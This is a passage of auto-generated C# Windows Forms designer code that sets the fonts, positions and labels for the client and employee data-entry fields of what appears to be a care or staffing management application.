this.label19.AutoSize = true; this.label19.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label19.ForeColor = System.Drawing.Color.DimGray; this.label19.Location = new System.Drawing.Point(363, 216); this.label19.Name = "label19"; this.label19.Size = new System.Drawing.Size(161, 21); this.label19.TabIndex = 35; this.label19.Text = "Pharmacist Phone:"; // // textBox_ClientPharmPhone // this.textBox_ClientPharmPhone.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.textBox_ClientPharmPhone.ForeColor = System.Drawing.Color.DimGray; this.textBox_ClientPharmPhone.Location = new System.Drawing.Point(522, 213); this.textBox_ClientPharmPhone.Name = "textBox_ClientPharmPhone"; this.textBox_ClientPharmPhone.Size = new System.Drawing.Size(178, 28); this.textBox_ClientPharmPhone.TabIndex = 34; // // textBox_ClientPharmName // this.textBox_ClientPharmName.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.textBox_ClientPharmName.ForeColor = System.Drawing.Color.DimGray; this.textBox_ClientPharmName.Location = new System.Drawing.Point(157, 213); this.textBox_ClientPharmName.Name = "textBox_ClientPharmName"; this.textBox_ClientPharmName.Size = new System.Drawing.Size(200, 28); this.textBox_ClientPharmName.TabIndex = 33; // // label18 // this.label18.AutoSize = true; this.label18.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label18.ForeColor = System.Drawing.Color.DimGray; this.label18.Location = new System.Drawing.Point(6, 177); this.label18.Name = "label18"; this.label18.Size = new System.Drawing.Size(125, 21); this.label18.TabIndex = 32; this.label18.Text = "Doctor Name :"; // // textBoxClientDocPhone // this.textBoxClientDocPhone.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.textBoxClientDocPhone.ForeColor = System.Drawing.Color.DimGray; this.textBoxClientDocPhone.Location = new System.Drawing.Point(500, 174); this.textBoxClientDocPhone.Name = "textBoxClientDocPhone"; this.textBoxClientDocPhone.Size = new System.Drawing.Size(201, 28); this.textBoxClientDocPhone.TabIndex = 31; // // label17 // this.label17.AutoSize = true; this.label17.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label17.ForeColor = System.Drawing.Color.DimGray; this.label17.Location = new System.Drawing.Point(363, 177); this.label17.Name = "label17"; this.label17.Size = new System.Drawing.Size(129, 21); this.label17.TabIndex = 30; this.label17.Text = "Doctor Phone :"; // // textBox_ClientDocName // this.textBox_ClientDocName.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.textBox_ClientDocName.ForeColor = System.Drawing.Color.DimGray; this.textBox_ClientDocName.Location = new System.Drawing.Point(157, 174); this.textBox_ClientDocName.Name = "textBox_ClientDocName"; this.textBox_ClientDocName.Size = new System.Drawing.Size(200, 28); this.textBox_ClientDocName.TabIndex = 29; // // label16 // this.label16.AutoSize = true; this.label16.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label16.ForeColor = System.Drawing.Color.DimGray; this.label16.Location = new System.Drawing.Point(4, 216); this.label16.Name = "label16"; this.label16.Size = new System.Drawing.Size(157, 21); this.label16.TabIndex = 28; this.label16.Text = "Pharmacist Name:"; // // textBox_ClientEmPhone // this.textBox_ClientEmPhone.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.textBox_ClientEmPhone.ForeColor = System.Drawing.Color.DimGray; this.textBox_ClientEmPhone.Location = new System.Drawing.Point(500, 32); this.textBox_ClientEmPhone.Name = "textBox_ClientEmPhone"; this.textBox_ClientEmPhone.Size = new System.Drawing.Size(200, 28); this.textBox_ClientEmPhone.TabIndex = 27; // // label14 // this.label14.AutoSize = true; this.label14.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label14.ForeColor = System.Drawing.Color.DimGray; this.label14.Location = new System.Drawing.Point(363, 35); this.label14.Name = "label14"; this.label14.Size = new System.Drawing.Size(138, 21); this.label14.TabIndex = 26; this.label14.Text = "Emergency CP :"; // // label13 // this.label13.AutoSize = true; this.label13.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label13.ForeColor = System.Drawing.Color.DimGray; this.label13.Location = new System.Drawing.Point(5, 35); this.label13.Name = "label13"; this.label13.Size = new System.Drawing.Size(139, 21); this.label13.TabIndex = 25; this.label13.Text = "Emergency CN :"; // // textBox_ClientEmerName // this.textBox_ClientEmerName.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.textBox_ClientEmerName.ForeColor = System.Drawing.Color.DimGray; this.textBox_ClientEmerName.Location = new System.Drawing.Point(157, 32); this.textBox_ClientEmerName.Name = "textBox_ClientEmerName"; this.textBox_ClientEmerName.Size = new System.Drawing.Size(200, 28); this.textBox_ClientEmerName.TabIndex = 20; // // groupBox2 // this.groupBox2.Controls.Add(this.textBox_ClientEmail); this.groupBox2.Controls.Add(this.label12); this.groupBox2.Controls.Add(this.textBox_ClientPhone); this.groupBox2.Controls.Add(this.label11); this.groupBox2.Controls.Add(this.textBox_ClientPostal); this.groupBox2.Controls.Add(this.textBox_ClientCity); this.groupBox2.Controls.Add(this.label10); this.groupBox2.Controls.Add(this.label6); this.groupBox2.Controls.Add(this.textBox_ClientAdress); this.groupBox2.Controls.Add(this.textBox_ClientProvince); this.groupBox2.Controls.Add(this.textBox_ClientCountry); this.groupBox2.Controls.Add(this.label8); this.groupBox2.Controls.Add(this.label7); this.groupBox2.Controls.Add(this.label9); this.groupBox2.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.groupBox2.ForeColor = System.Drawing.Color.DarkGray; this.groupBox2.Location = new System.Drawing.Point(6, 195); this.groupBox2.Name = "groupBox2"; this.groupBox2.Size = new System.Drawing.Size(712, 184); this.groupBox2.TabIndex = 24; this.groupBox2.TabStop = false; this.groupBox2.Text = "Adress"; // // textBox_ClientEmail // this.textBox_ClientEmail.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.textBox_ClientEmail.ForeColor = System.Drawing.Color.DimGray; this.textBox_ClientEmail.Location = new System.Drawing.Point(501, 139); this.textBox_ClientEmail.Name = "textBox_ClientEmail"; this.textBox_ClientEmail.Size = new System.Drawing.Size(200, 28); this.textBox_ClientEmail.TabIndex = 26; // // label12 // this.label12.AutoSize = true; this.label12.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label12.ForeColor = System.Drawing.Color.DimGray; this.label12.Location = new System.Drawing.Point(364, 142); this.label12.Name = "label12"; this.label12.Size = new System.Drawing.Size(67, 21); this.label12.TabIndex = 25; this.label12.Text = "Email :"; // // textBox_ClientPhone // this.textBox_ClientPhone.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.textBox_ClientPhone.ForeColor = System.Drawing.Color.DimGray; this.textBox_ClientPhone.Location = new System.Drawing.Point(158, 139); this.textBox_ClientPhone.Name = "textBox_ClientPhone"; this.textBox_ClientPhone.Size = new System.Drawing.Size(200, 28); this.textBox_ClientPhone.TabIndex = 24; // // label11 // this.label11.AutoSize = true; this.label11.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label11.ForeColor = System.Drawing.Color.DimGray; this.label11.Location = new System.Drawing.Point(7, 142); this.label11.Name = "label11"; this.label11.Size = new System.Drawing.Size(69, 21); this.label11.TabIndex = 18; this.label11.Text = "Phone :"; // // textBox_ClientPostal // this.textBox_ClientPostal.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.textBox_ClientPostal.ForeColor = System.Drawing.Color.DimGray; this.textBox_ClientPostal.Location = new System.Drawing.Point(158, 103); this.textBox_ClientPostal.Name = "textBox_ClientPostal"; this.textBox_ClientPostal.Size = new System.Drawing.Size(200, 28); this.textBox_ClientPostal.TabIndex = 23; // // textBox_ClientCity // this.textBox_ClientCity.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.textBox_ClientCity.ForeColor = System.Drawing.Color.DimGray; this.textBox_ClientCity.Location = new System.Drawing.Point(501, 30); this.textBox_ClientCity.Name = "textBox_ClientCity"; this.textBox_ClientCity.Size = new System.Drawing.Size(200, 28); this.textBox_ClientCity.TabIndex = 22; // // label10 // this.label10.AutoSize = true; this.label10.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label10.ForeColor = System.Drawing.Color.DimGray; this.label10.Location = new System.Drawing.Point(6, 106); this.label10.Name = "label10"; this.label10.Size = new System.Drawing.Size(113, 21); this.label10.TabIndex = 21; this.label10.Text = "Postal Code :"; // // label6 // this.label6.AutoSize = true; this.label6.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label6.ForeColor = System.Drawing.Color.DimGray; this.label6.Location = new System.Drawing.Point(6, 33); this.label6.Name = "label6"; this.label6.Size = new System.Drawing.Size(83, 21); this.label6.TabIndex = 12; this.label6.Text = "Address :"; // // textBox_ClientAdress // this.textBox_ClientAdress.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.textBox_ClientAdress.ForeColor = System.Drawing.Color.DimGray; this.textBox_ClientAdress.Location = new System.Drawing.Point(158, 30); this.textBox_ClientAdress.Name = "textBox_ClientAdress"; this.textBox_ClientAdress.Size = new System.Drawing.Size(200, 28); this.textBox_ClientAdress.TabIndex = 16; // // textBox_ClientProvince // this.textBox_ClientProvince.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.textBox_ClientProvince.ForeColor = System.Drawing.Color.DimGray; this.textBox_ClientProvince.Location = new System.Drawing.Point(158, 67); this.textBox_ClientProvince.Name = "textBox_ClientProvince"; this.textBox_ClientProvince.Size = new System.Drawing.Size(200, 28); this.textBox_ClientProvince.TabIndex = 18; // // textBox_ClientCountry // this.textBox_ClientCountry.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.textBox_ClientCountry.ForeColor = System.Drawing.Color.DimGray; this.textBox_ClientCountry.Location = new System.Drawing.Point(501, 67); this.textBox_ClientCountry.Name = "textBox_ClientCountry"; this.textBox_ClientCountry.Size = new System.Drawing.Size(200, 28); this.textBox_ClientCountry.TabIndex = 19; // // label8 // this.label8.AutoSize = true; this.label8.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label8.ForeColor = System.Drawing.Color.DimGray; this.label8.Location = new System.Drawing.Point(6, 70); this.label8.Name = "label8"; this.label8.Size = new System.Drawing.Size(89, 21); this.label8.TabIndex = 14; this.label8.Text = "Province :"; // // label7 // this.label7.AutoSize = true; this.label7.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label7.ForeColor = System.Drawing.Color.DimGray; this.label7.Location = new System.Drawing.Point(364, 33); this.label7.Name = "label7"; this.label7.Size = new System.Drawing.Size(51, 21); this.label7.TabIndex = 13; this.label7.Text = "City :"; // // label9 // this.label9.AutoSize = true; this.label9.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label9.ForeColor = System.Drawing.Color.DimGray; this.label9.Location = new System.Drawing.Point(364, 70); this.label9.Name = "label9"; this.label9.Size = new System.Drawing.Size(83, 21); this.label9.TabIndex = 15; this.label9.Text = "Country :"; // // EmployeeTab // this.EmployeeTab.BackColor = System.Drawing.SystemColors.Control; this.EmployeeTab.Controls.Add(this.groupBox8); this.EmployeeTab.Controls.Add(this.groupBox18); this.EmployeeTab.Controls.Add(this.groupBox6); this.EmployeeTab.Controls.Add(this.groupBox7); this.EmployeeTab.Location = new System.Drawing.Point(4, 22); this.EmployeeTab.Name = "EmployeeTab"; this.EmployeeTab.Padding = new System.Windows.Forms.Padding(3); this.EmployeeTab.Size = new System.Drawing.Size(719, 789); this.EmployeeTab.TabIndex = 1; this.EmployeeTab.Text = "tabPage2"; // // groupBox8 // this.groupBox8.Controls.Add(this.checkBox12); this.groupBox8.Controls.Add(this.checkBox13); this.groupBox8.Controls.Add(this.checkBox14); this.groupBox8.Controls.Add(this.checkBox15); this.groupBox8.Controls.Add(this.checkBox16); this.groupBox8.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.groupBox8.ForeColor = System.Drawing.Color.DarkGray; this.groupBox8.Location = new System.Drawing.Point(6, 496); this.groupBox8.Name = "groupBox8"; this.groupBox8.Size = new System.Drawing.Size(712, 68); this.groupBox8.TabIndex = 37; this.groupBox8.TabStop = false; this.groupBox8.Text = "Attendance"; // // checkBox12 // this.checkBox12.AutoSize = true; this.checkBox12.Checked = true; this.checkBox12.CheckState = System.Windows.Forms.CheckState.Checked; this.checkBox12.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.checkBox12.ForeColor = System.Drawing.Color.DimGray; this.checkBox12.Location = new System.Drawing.Point(440, 28); this.checkBox12.Name = "checkBox12"; this.checkBox12.Size = new System.Drawing.Size(82, 25); this.checkBox12.TabIndex = 16; this.checkBox12.Text = "Friday"; this.checkBox12.TextImageRelation = System.Windows.Forms.TextImageRelation.TextAboveImage; this.checkBox12.UseVisualStyleBackColor = true; // // checkBox13 // this.checkBox13.AutoSize = true; this.checkBox13.Checked = true; this.checkBox13.CheckState = System.Windows.Forms.CheckState.Checked; this.checkBox13.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.checkBox13.ForeColor = System.Drawing.Color.DimGray; this.checkBox13.Location = new System.Drawing.Point(332, 28); this.checkBox13.Name = "checkBox13"; this.checkBox13.Size = new System.Drawing.Size(105, 25); this.checkBox13.TabIndex = 15; this.checkBox13.Text = "Thursday"; this.checkBox13.TextImageRelation = System.Windows.Forms.TextImageRelation.TextAboveImage; this.checkBox13.UseVisualStyleBackColor = true; // // checkBox14 // this.checkBox14.AutoSize = true; this.checkBox14.Checked = true; this.checkBox14.CheckState = System.Windows.Forms.CheckState.Checked; this.checkBox14.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.checkBox14.ForeColor = System.Drawing.Color.DimGray; this.checkBox14.Location = new System.Drawing.Point(207, 28); this.checkBox14.Name = "checkBox14"; this.checkBox14.Size = new System.Drawing.Size(119, 25); this.checkBox14.TabIndex = 14; this.checkBox14.Text = "Wednesday"; this.checkBox14.TextImageRelation = System.Windows.Forms.TextImageRelation.TextAboveImage; this.checkBox14.UseVisualStyleBackColor = true; // // checkBox15 // this.checkBox15.AutoSize = true; this.checkBox15.Checked = true; this.checkBox15.CheckState = System.Windows.Forms.CheckState.Checked; this.checkBox15.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.checkBox15.ForeColor = System.Drawing.Color.DimGray; this.checkBox15.Location = new System.Drawing.Point(109, 28); this.checkBox15.Name = "checkBox15"; this.checkBox15.Size = new System.Drawing.Size(95, 25); this.checkBox15.TabIndex = 13; this.checkBox15.Text = "Tuesday"; this.checkBox15.TextImageRelation = System.Windows.Forms.TextImageRelation.TextAboveImage; this.checkBox15.UseVisualStyleBackColor = true; // // checkBox16 // this.checkBox16.AutoSize = true; this.checkBox16.Checked = true; this.checkBox16.CheckState = System.Windows.Forms.CheckState.Checked; this.checkBox16.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.checkBox16.ForeColor = System.Drawing.Color.DimGray; this.checkBox16.Location = new System.Drawing.Point(11, 28); this.checkBox16.Name = "checkBox16"; this.checkBox16.Size = new System.Drawing.Size(92, 25); this.checkBox16.TabIndex = 12; this.checkBox16.Text = "Monday"; this.checkBox16.TextImageRelation = System.Windows.Forms.TextImageRelation.TextAboveImage; this.checkBox16.UseVisualStyleBackColor = true; // // groupBox18 // this.groupBox18.Controls.Add(this.textBox_EmpRelation); this.groupBox18.Controls.Add(this.label73); this.groupBox18.Controls.Add(this.textBox_EmerCP); this.groupBox18.Controls.Add(this.label74); this.groupBox18.Controls.Add(this.label75); this.groupBox18.Controls.Add(this.textBox_EmpEmerCN); this.groupBox18.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.groupBox18.ForeColor = System.Drawing.Color.DarkGray; this.groupBox18.Location = new System.Drawing.Point(6, 385); this.groupBox18.Name = "groupBox18"; this.groupBox18.Size = new System.Drawing.Size(711, 105); this.groupBox18.TabIndex = 36; this.groupBox18.TabStop = false; this.groupBox18.Text = "Emergency"; // // textBox_EmpRelation // this.textBox_EmpRelation.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.textBox_EmpRelation.ForeColor = System.Drawing.Color.DimGray; this.textBox_EmpRelation.Location = new System.Drawing.Point(157, 66); this.textBox_EmpRelation.Name = "textBox_EmpRelation"; this.textBox_EmpRelation.Size = new System.Drawing.Size(200, 28); this.textBox_EmpRelation.TabIndex = 27; // // label73 // this.label73.AutoSize = true; this.label73.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label73.ForeColor = System.Drawing.Color.DimGray; this.label73.Location = new System.Drawing.Point(4, 69); this.label73.Name = "label73"; this.label73.Size = new System.Drawing.Size(86, 21); this.label73.TabIndex = 27; this.label73.Text = "Relation :"; // // textBox_EmerCP // this.textBox_EmerCP.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.textBox_EmerCP.ForeColor = System.Drawing.Color.DimGray; this.textBox_EmerCP.Location = new System.Drawing.Point(500, 32); this.textBox_EmerCP.Name = "textBox_EmerCP"; this.textBox_EmerCP.Size = new System.Drawing.Size(200, 28); this.textBox_EmerCP.TabIndex = 27; // // label74 // this.label74.AutoSize = true; this.label74.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label74.ForeColor = System.Drawing.Color.DimGray; this.label74.Location = new System.Drawing.Point(363, 35); this.label74.Name = "label74"; this.label74.Size = new System.Drawing.Size(138, 21); this.label74.TabIndex = 26; this.label74.Text = "Emergency CP :"; // // label75 // this.label75.AutoSize = true; this.label75.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label75.ForeColor = System.Drawing.Color.DimGray; this.label75.Location = new System.Drawing.Point(5, 35); this.label75.Name = "label75"; this.label75.Size = new System.Drawing.Size(139, 21); this.label75.TabIndex = 25; this.label75.Text = "Emergency CN :"; // // textBox_EmpEmerCN // this.textBox_EmpEmerCN.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.textBox_EmpEmerCN.ForeColor = System.Drawing.Color.DimGray; this.textBox_EmpEmerCN.Location = new System.Drawing.Point(157, 32); this.textBox_EmpEmerCN.Name = "textBox_EmpEmerCN"; this.textBox_EmpEmerCN.Size = new System.Drawing.Size(200, 28); this.textBox_EmpEmerCN.TabIndex = 20; // // groupBox6 // this.groupBox6.Controls.Add(this.textBox_EmpPosition); this.groupBox6.Controls.Add(this.label32); this.groupBox6.Controls.Add(this.radioButton3); this.groupBox6.Controls.Add(this.radioButton2); this.groupBox6.Controls.Add(this.label25); this.groupBox6.Controls.Add(this.radioButton1); this.groupBox6.Controls.Add(this.label69); this.groupBox6.Controls.Add(this.label33); this.groupBox6.Controls.Add(this.label20); this.groupBox6.Controls.Add(this.textBox_EmpName); this.groupBox6.Controls.Add(this.label21); this.groupBox6.Controls.Add(this.textBox_EmpBirth); this.groupBox6.Controls.Add(this.textBox_EmpSin); this.groupBox6.Controls.Add(this.textBox_EmpHire); this.groupBox6.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.groupBox6.ForeColor = System.Drawing.Color.DarkGray; this.groupBox6.Location = new System.Drawing.Point(6, 6); this.groupBox6.Name = "groupBox6"; this.groupBox6.Size = new System.Drawing.Size(712, 183); this.groupBox6.TabIndex = 35; this.groupBox6.TabStop = false; this.groupBox6.Text = "Profile"; // // textBox_EmpPosition // this.textBox_EmpPosition.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.textBox_EmpPosition.ForeColor = System.Drawing.Color.DimGray; this.textBox_EmpPosition.Location = new System.Drawing.Point(469, 105); this.textBox_EmpPosition.Name = "textBox_EmpPosition"; this.textBox_EmpPosition.Size = new System.Drawing.Size(200, 28); this.textBox_EmpPosition.TabIndex = 30; // // label32 // this.label32.AutoSize = true; this.label32.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label32.ForeColor = System.Drawing.Color.DimGray; this.label32.Location = new System.Drawing.Point(6, 108); this.label32.Name = "label32"; this.label32.Size = new System.Drawing.Size(53, 21); this.label32.TabIndex = 29; this.label32.Text = "SIN :"; // // radioButton3 // this.radioButton3.AutoSize = true; this.radioButton3.Location = new System.Drawing.Point(352, 146); this.radioButton3.Name = "radioButton3"; this.radioButton3.Size = new System.Drawing.Size(99, 25); this.radioButton3.TabIndex = 28; this.radioButton3.Text = "Full time"; this.radioButton3.UseVisualStyleBackColor = true; // // radioButton2 // this.radioButton2.AutoSize = true; this.radioButton2.Checked = true; this.radioButton2.Location = new System.Drawing.Point(248, 146); this.radioButton2.Name = "radioButton2"; this.radioButton2.Size = new System.Drawing.Size(102, 25); this.radioButton2.TabIndex = 27; this.radioButton2.TabStop = true; this.radioButton2.Text = "Part time"; this.radioButton2.UseVisualStyleBackColor = true; // // label25 // this.label25.AutoSize = true; this.label25.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label25.ForeColor = System.Drawing.Color.DimGray; this.label25.Location = new System.Drawing.Point(5, 148); this.label25.Name = "label25"; this.label25.Size = new System.Drawing.Size(116, 21); this.label25.TabIndex = 26; this.label25.Text = "Position type:"; // // radioButton1 // this.radioButton1.AutoSize = true; this.radioButton1.Location = new System.Drawing.Point(159, 146); this.radioButton1.Name = "radioButton1"; this.radioButton1.Size = new System.Drawing.Size(82, 25); this.radioButton1.TabIndex = 25; this.radioButton1.Text = "Causal"; this.radioButton1.UseVisualStyleBackColor = true; // // label69 // this.label69.AutoSize = true; this.label69.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label69.ForeColor = System.Drawing.Color.DimGray; this.label69.Location = new System.Drawing.Point(366, 108); this.label69.Name = "label69"; this.label69.Size = new System.Drawing.Size(84, 21); this.label69.TabIndex = 24; this.label69.Text = "Position :"; // // label33 // this.label33.AutoSize = true; this.label33.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label33.ForeColor = System.Drawing.Color.DimGray; this.label33.Location = new System.Drawing.Point(364, 69); this.label33.Name = "label33"; this.label33.Size = new System.Drawing.Size(98, 21); this.label33.TabIndex = 23; this.label33.Text = "Hire Date :"; // // label20 // this.label20.AutoSize = true; this.label20.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label20.ForeColor = System.Drawing.Color.DimGray; this.label20.Location = new System.Drawing.Point(6, 34); this.label20.Name = "label20"; this.label20.Size = new System.Drawing.Size(61, 21); this.label20.TabIndex = 2; this.label20.Text = "Name:"; // // textBox_EmpName // this.textBox_EmpName.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.textBox_EmpName.ForeColor = System.Drawing.Color.DimGray; this.textBox_EmpName.Location = new System.Drawing.Point(158, 27); this.textBox_EmpName.Name = "textBox_EmpName"; this.textBox_EmpName.Size = new System.Drawing.Size(511, 28); this.textBox_EmpName.TabIndex = 7; // // label21 // this.label21.AutoSize = true; this.label21.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label21.ForeColor = System.Drawing.Color.DimGray; this.label21.Location = new System.Drawing.Point(6, 69); this.label21.Name = "label21"; this.label21.Size = new System.Drawing.Size(123, 21); this.label21.TabIndex = 3; this.label21.Text = "Date of Birth :"; // // textBox_EmpBirth // this.textBox_EmpBirth.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.textBox_EmpBirth.ForeColor = System.Drawing.Color.DimGray; this.textBox_EmpBirth.Location = new System.Drawing.Point(158, 66); this.textBox_EmpBirth.Name = "textBox_EmpBirth"; this.textBox_EmpBirth.Size = new System.Drawing.Size(200, 28); this.textBox_EmpBirth.TabIndex = 8; this.textBox_EmpBirth.TextChanged += new System.EventHandler(this.textBox_EmpBirth_TextChanged); // // textBox_EmpSin // this.textBox_EmpSin.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.textBox_EmpSin.ForeColor = System.Drawing.Color.DimGray; this.textBox_EmpSin.Location = new System.Drawing.Point(158, 105); this.textBox_EmpSin.Name = "textBox_EmpSin"; this.textBox_EmpSin.Size = new System.Drawing.Size(200, 28); this.textBox_EmpSin.TabIndex = 9; // // textBox_EmpHire // this.textBox_EmpHire.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.textBox_EmpHire.ForeColor = System.Drawing.Color.DimGray; this.textBox_EmpHire.Location = new System.Drawing.Point(469, 66); this.textBox_EmpHire.Name = "textBox_EmpHire"; this.textBox_EmpHire.Size = new System.Drawing.Size(200, 28); this.textBox_EmpHire.TabIndex = 11; this.textBox_EmpHire.TextChanged += new System.EventHandler(this.textBox_EmpHire_TextChanged); // // groupBox7 // this.groupBox7.Controls.Add(this.textBox_EmpCell); this.groupBox7.Controls.Add(this.label22); this.groupBox7.Controls.Add(this.textBox_EmpEmail); this.groupBox7.Controls.Add(this.label1); this.groupBox7.Controls.Add(this.textBox_EmpPhone); this.groupBox7.Controls.Add(this.label26); this.groupBox7.Controls.Add(this.textBox_EmpPostal); this.groupBox7.Controls.Add(this.textBox_EmpCity); this.groupBox7.Controls.Add(this.label27); this.groupBox7.Controls.Add(this.label28); this.groupBox7.Controls.Add(this.textBox_EmpAdress); this.groupBox7.Controls.Add(this.textBox_EmpProvince); this.groupBox7.Controls.Add(this.textBox_EmpCountry); this.groupBox7.Controls.Add(this.label29); this.groupBox7.Controls.Add(this.label30); this.groupBox7.Controls.Add(this.label31); this.groupBox7.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.groupBox7.ForeColor = System.Drawing.Color.DarkGray; this.groupBox7.Location = new System.Drawing.Point(6, 195); this.groupBox7.Name = "groupBox7"; this.groupBox7.Size = new System.Drawing.Size(712, 184); this.groupBox7.TabIndex = 34; this.groupBox7.TabStop = false; this.groupBox7.Text = "Adress"; // // textBox_EmpCell // this.textBox_EmpCell.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.textBox_EmpCell.ForeColor = System.Drawing.Color.DimGray; this.textBox_EmpCell.Location = new 